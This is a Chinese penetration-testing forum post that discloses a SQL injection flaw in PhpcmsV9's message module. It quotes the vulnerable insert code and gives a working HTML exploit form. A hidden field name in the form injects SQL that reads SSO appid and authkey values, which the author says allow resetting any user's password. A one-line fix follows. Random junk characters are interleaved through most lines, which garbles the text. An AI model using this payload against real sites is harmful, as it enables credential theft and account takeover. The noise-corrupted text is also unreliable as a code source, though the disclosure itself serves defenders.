中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
; {0 Z0 H4 A& z$ a& c1 I
- Y( Z1 S( n# r' d7 l% }第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。9 B$ p7 Q' \. N
( v( r7 f: d2 ^9 t# o
明天再更新下一个漏洞。% Z8 b3 @' `; ]( |! Q
详细说明:& c- d# W6 y- K4 j# y! n  g; D
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
8 ~, r7 ?# o+ m* k# `8 L! _7 a
" V6 U7 x( T. E  G, z8 g4 i$messageid = $this->message_db->insert($_POST['info'],true);
5 \4 c2 ^9 z" L
3 ]% @# V' H3 t2 O
) a! [4 S! p7 _- @6 y2 `( einsert方法是key value的,代码如下:$ Q' w+ w3 C3 U4 C+ I

, V! m: l5 l4 ~. _+ D  N6 @- Wpublic function insert($data, $table, $return_insert_id = false, $replace = false) {
0 G2 x3 {" @9 M- x# \                if(!is_array( $data ) || $table == '' || count($data) == 0) {
0 o8 L, X/ Q! v( r: d& h- Y. t& A! g                        return false;
9 v9 m. A" S# V/ ]# \( ~, n( W                }
+ c7 |6 W/ s6 Q  c/ J# ~               
1 x! u, c( o5 O( l$ ^6 h7 f                $fielddata = array_keys($data);
0 v" \% c# M! Z% k& W8 R                $valuedata = array_values($data);
: Q% d1 m3 P- q6 M3 h: E                array_walk($fielddata, array($this, 'add_special_char'));* @) M! Q5 W% x; ]( A3 ]; D( B9 K) Y
                array_walk($valuedata, array($this, 'escape_string'));/ I6 {) E9 d! I- h4 R% y4 A+ w
                ) B# E" r6 u3 }: U) R
                $field = implode (',', $fielddata);
* D7 H4 n; V& \8 P& ]) d) \* [. @; N                $value = implode (',', $valuedata);
3 p9 {8 a7 y' i, S# m3 l% R
% j$ X* u* `- K( S7 p  o                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';7 u3 f" A+ w3 j; h2 h
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';$ ~$ S6 l6 R0 g8 B& n2 J
                $return = $this->execute($sql);
: t9 T% K* v9 N3 t                return $return_insert_id ? $this->insert_id() : $return;/ h6 u. `0 b1 u$ c7 t
        }2 A3 [% Z/ R2 q! T6 J* L
0 K3 J8 F% A$ c. s$ W

, w! K) J& x9 g( s  @7 X嗯,很遗憾的是
6 G" P& C* E8 ?" m, B3 V" S) b) o0 k. U: t
array_walk($fielddata, array($this, 'add_special_char'));
  O& E; b- t5 }2 ~; p" r- B% y% g" x% l- ^' w' o

$ W+ `5 ]: F: w9 y% @% P中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
( y* }# q) \' c1 ^+ d0 n. @5 l6 Y
$ K* [4 {! s+ p! V3 |. ~1 t到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。1 _: Y& u+ I. C! Y, @

' {: W1 w/ y2 i% `漏洞证明:
7 [. \$ ?: j) H! ~; |( |+ y读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
, v" ^: n$ U5 s( h[attach]200[/attach]4 A& v3 ^9 r- p" m
% `4 c* b3 _6 n" D4 _6 c
表单如下:用户名什么的得自己改一改。: O7 C1 K0 B( R, U: p2 g, M% A" k
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
/ X: e5 }9 A2 O4 v5 |! ~4 I/ V5 s<table width="100%" cellspacing="0" class="table_form">
" y7 R; x! r8 m& L4 N2 \<tr>
0 n; t& T) f; e$ D- t<th>标 题:</th>9 R/ H' ?( k; ^+ r' [5 ?
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>4 B0 ~3 w7 ~- k2 F% E
</tr> 7 j+ W6 B9 U; c$ a
<tr>
9 R( I3 u4 X3 Z& d" ?$ |9 W<th>内 容:</th>& X: c! Y3 G4 r- y7 v
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
' ]* j7 G+ p: {% t* ^& B</tr>
; R+ j: y5 \2 G" W9 `<input type="hidden" name="info[replyid]" value="2" />
5 C/ O2 u4 w  j3 E; S<input type="hidden" name="info[send_to_id]" value="cc" />
$ S( F/ M; L7 y) o# E; I  A<input type="hidden" name="info[send_from_id]" value="hh">
( t; e" V5 A6 r  n% f" z# d<!-- 漏洞的利用重点在这里开始 -->, d, S3 x& h) B+ \. J6 p0 l* t1 @( O
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 9 J8 k7 f2 w; t& |
<!-- 漏洞的利用重点在这里结束 -->
# ~7 H7 R- N: N  g0 o* {2 P4 }4 u! `<tr>" n% P3 l& b" j9 c0 B& ?* P' a
<th>验证码:</th>
, N" I9 Q. a6 [/ S+ d1 d$ q<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
; @* B; ?. Q: |9 A8 Q</tr>
4 i1 D+ G0 p0 B5 a( Z8 T% V<tr>
9 Q8 F$ r+ ~2 o) d$ n<td></td>
  `$ k% j# i* \! o& u( @2 G- x# [; O8 t<td colspan="2"><label>/ t- P$ i, R9 d8 G+ [
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
2 N; T/ m( T6 d8 g& Z, l" L6 }  e</label></td>
$ ]' K7 H% d+ J+ v" i</tr>
! ?$ ^3 A. w. V8 {8 {4 d- p</table>
% }8 p+ Z0 F6 X1 B) ^& J7 T</form>
; ~( V3 C/ @% n在add_special_char函数内对key做过滤就可以了。& V1 u: O! m% o1 L

2 G( c* P' d) ]! L6 T8 c5 @/ p0 @; A) O+ k: R% V) G* ^: [

& z) ~3 I5 _" ?8 M4 T0 j




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2